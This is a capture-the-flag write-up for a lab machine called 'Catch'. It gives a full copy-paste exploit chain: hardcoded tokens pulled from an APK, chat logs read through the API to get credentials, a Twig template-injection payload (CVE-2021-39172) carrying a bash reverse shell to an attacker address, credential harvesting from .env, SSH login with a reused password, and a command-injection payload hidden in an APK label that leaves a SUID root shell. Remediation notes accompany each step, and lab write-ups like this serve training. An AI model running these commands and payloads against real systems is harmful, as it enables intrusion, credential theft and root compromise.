Catch
Summary
I downloaded a publicly distributed Android APK from the target's port-80 web server and decompiled it, recovering hardcoded bearer tokens for internal services. A valid Let's Chat token was replayed against the messaging API to read private chat history, which contained plaintext Cachet administrator credentials.
Cachet was vulnerable to Twig server-side template injection (CVE-2021-39172), granting remote code execution inside a Docker container as the web user. A cleartext password found in the container's .env configuration file had been reused as the host-OS login for account 'will', allowing SSH access to the underlying machine and capture of the user flag.
A root-owned cron job that validated incoming APK files extracted the application label from each file's AndroidManifest.xml and interpolated it directly into a shell command without sanitization. A crafted APK whose label embedded a command-injection payload was dropped into the watched directory; one minute later the cron executed it as root, producing a SUID bash copy that granted a root shell and the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <cachet_api_token>, <letschat_api_token>, <room_id> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Full TCP scan with version/script detection; discovers all five services including port 5000.
$ nmap -Pn -sV -sC -p- --min-rate 5000 $TARGET -oA catch_fullIdentify the APK download link on the port-80 landing page.
$ curl -s http://$TARGET/ | grep -i 'apk\|download'Download the Android application for offline analysis.
$ wget http://$TARGET/catchv1.0.apkExact commands 3
Decompile to smali/resources; recovers AndroidManifest.xml and string resources.
$ apktool d catchv1.0.apk -o catch_decompiledDecompile to readable Java source for easier string searching.
$ jadx -d catch_jadx catchv1.0.apkSearch the decompiled output for embedded secrets; reveals Let's Chat and Cachet bearer tokens.
$ grep -rni 'token\|api_key\|bearer\|secret\|authorization' catch_jadx/ catch_decompiled/ 2>/dev/nullFixRemove all hardcoded secrets from the Android applicationCritical
Exact commands 2
List all Let's Chat rooms; note the _id values for the next call.
$ curl -s -H 'Authorization: Bearer <letschat_api_token>' http://$TARGET:5000/rooms | python3 -m json.toolDump message history for each room; search for plaintext credentials in chat logs.
$ curl -s -H 'Authorization: Bearer <letschat_api_token>' "http://$TARGET:5000/rooms/<room_id>/messages?limit=50" | python3 -m json.toolFixRestrict Let's Chat to internal networks and prohibit sharing credentials in chatHigh
Exact commands 3
Confirm SSTI: a '49' in the component name response proves Twig is evaluating input.
$ curl -s -X POST "http://$TARGET:8000/api/v1/components" -H 'Content-Type: application/json' -H 'X-Cachet-Token: <cachet_api_token>' -d '{"name":"{{7*7}}","status":1}' | python3 -m json.toolStart a reverse-shell listener on my machine before injecting the exec payload.
$ nc -lvnp 4444Replace $ATTACKER_IP with your listener address; URL-encode payload if curl rejects special chars.
$ curl -s -X POST "http://$TARGET:8000/api/v1/components" -H 'Content-Type: application/json' -H 'X-Cachet-Token: <cachet_api_token>' -d '{"name":"{{['bash -c \'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\'']|filter('system')}}","status":1}'FixPatch or replace Cachet to eliminate the Twig SSTI vulnerability (CVE-2021-39172)Critical
Exact commands 3
Read the Cachet configuration file; look for DB_PASSWORD and any other credential fields.
$ cat /var/www/html/cachet/.envDump all container environment variables; often contains the same credentials as .env.
$ env | grep -iE 'pass|secret|key|token|user'Broader search for additional credential files within the container filesystem.
$ find / -maxdepth 8 -name '.env' -o -name 'database.php' -o -name 'config.php' 2>/dev/null | head -20FixEliminate credential reuse between container configuration and host OS accountsHigh
Exact commands 1
Authenticates as will using the reused password; user.txt value = <user.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null will@$TARGET 'id; hostname; cat /home/will/user.txt'
uid=1000(will)Exact commands 9
Decompile the original APK to produce an editable source tree.
$ apktool d catchv1.0.apk -o evil_srcLocate where the app label is defined — either inline in the manifest or in strings.xml.
$ grep -n 'app_name\|android:label' evil_src/res/values/strings.xml evil_src/AndroidManifest.xmlReplace the app name with the injection payload; use the correct field name found above.
$ sed -i 's|<string name="app_name">.*</string>|<string name="app_name">$(cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash)</string>|' evil_src/res/values/strings.xmlRebuild the modified APK.
$ apktool b evil_src -o evil_unsigned.apkGenerate a signing keystore if one does not already exist.
$ keytool -genkey -v -keystore debug.keystore -alias androiddebugkey -keyalg RSA -keysize 2048 -validity 10000 -storepass android -keypass android -dname 'CN=Debug,OU=Android,O=Android,L=Mountain View,ST=California,C=US'Sign the APK so it passes the cron script's signature-verification check.
$ apksigner sign --ks debug.keystore --ks-pass pass:android --key-pass pass:android --out evil.apk evil_unsigned.apkDrop the malicious APK into the watched directory using will's SSH credentials.
$ scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null evil.apk will@$TARGET:/opt/mdm/apk_bin/evil.apkWait one minute for the cron to fire and confirm the SUID binary was created.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no will@$TARGET 'sleep 65; ls -la /tmp/rootbash 2>&1'Execute SUID rootbash with -p to retain effective UID=root; root.txt = <root.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no will@$TARGET '/tmp/rootbash -p -c "id; cat /root/root.txt"'FixSanitize all data derived from external files before use in shell commands in the root cron scriptCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |
| 3000/tcp | http Golang net/http server |
| 8000/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.